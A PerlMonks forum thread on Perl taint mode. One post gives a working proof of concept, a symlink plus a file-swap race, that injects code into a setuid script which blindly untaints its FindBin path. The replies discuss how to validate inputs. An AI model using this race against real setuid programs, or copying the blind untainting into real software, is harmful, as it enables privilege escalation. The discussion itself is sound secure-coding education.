in reply to Re^2: Taint problems
in thread Taint problems

You can't trust $0. The code you provided makes code injection possible.

If you're writing a server where your attackers are remote, this isn't a problem. If you're writing a setuid script, this is a problem.

Proof of concept follows.

Victim:

$ cat ../safe/script.pl #!/usr/bin/perl -wT BEGIN { # amend @INC without taint use FindBin; my $path = $FindBin::RealBin; $path =~ /^(.+)$/; $path = $1; my $relative_path = 'lib'; unshift @INC, "$path/$relative_path"; } use Module; $ cat ../safe/lib/Module.pm print("All's well\n"); 1;

Attacker:

$ ln -s ../safe/script.pl $ cat lib/Module.pm print("Code injection!\n"); 1;

Normal run:

$ ../safe/script.pl All's well

Run with code injection:

$ perl -MTime::HiRes=sleep -e'exec $ARGV[0] if !fork; sleep $ARGV[1]; +unlink $ARGV[0]; open $fh, ">", $ARGV[0]; wait' script.pl 0.01 Code injection!

Works every time!

Replies are listed 'Best First'.
Re^4: Taint problems
by rowdog (Curate) on Dec 03, 2008 at 01:03 UTC

    ikegami++ for making me more paranoid than ever!

    When I first saw your post, I thought "$0 is evil, well, of course it is!". Then I thought, hrm, but where's the $0? So I ran perldoc -m FindBin and sure enough, right there in the CORE of perl was a $0 lurking beneath the covers.

    What scares me about this is the implication that I can trust no module unless I've personally vetted this exact version for issues. I suppose that's always been true but I used to count on the core to do the right thing when it comes secure programming. Now which modules does my latest catalyst project rely on? Do any of them use FindBin? Sigh.

    I'm not seriously going to vet CPAN but you've made me realize the trust issues in using any module. I suppose there's more value to "reinventing the wheel" than most people think.

Re^4: Taint problems
by SilasTheMonk (Chaplain) on Dec 03, 2008 at 01:23 UTC

    ikegami, Thanks. The example is instructive and I bow to a master of the dark arts.

    I draw the following morals:

    1. If at all possible use the hardcoded paths for this sort of bootstrapping exercise.
    2. If that is not possible, then my example could be saved by validating the $path variable more strictly. There should be a finite set of possible values for $path and if it is something else then die.

    I think this illustrates the point of taint checking. Trust no input from outside but validate it against what you know to be valid values.

    rowdog, I don't think FindBin is at fault here. It cannot possibly know what are valid values for $0. I am curious as to what modules, you have suddenly begun to distrust.

      I don't think FindBin is at fault here.

      I agree. $FindBin::RealBin is marked as tainted.

      >perl -MScalar::Util=tainted -T -le"use FindBin; print tainted($FindBi +n::RealBin) ?1:0" 1

      use/require is not at fault either.

      >perl -MScalar::Util=tainted -T -le"use FindBin; unshift @INC, $FindBi +n::RealBin; require Module;" Insecure dependency in require while running with -T switch at -e line + 1.

      Perl did its due diligence. If you're going to blindly untaint the result ($path =~ /^(.+)$/;), it's your own coffin you're nailing.

      rowdog is right too, though. If the modules or libraries you use are exploitable, there's a possibility that your code is too. For example, if there's a buffer overflow in the library DBD::mysql uses, even properly validated inputs could be used to exploit a vulnerability.

      Silas,

      $0 is trivial to manipulate (cp real.pl evil.pl) so I was rather horrified to see that FindBin relied on $0. Fortunately, ikegami pointed out that FindBin is tainted so I can take a deep breath and relax a bit but my off the cuff answer would be "all of them".

        "cp real.pl evil.pl" is not reason enough to taint $0. Copying the file isn't "evil". It doesn't get you anything. For copying to be of any consequence, it would have to copy both the owner and the setuid bit. But if you can copy the owner, you can already impersonate the owner so it doesn't buy you anything you don't already have.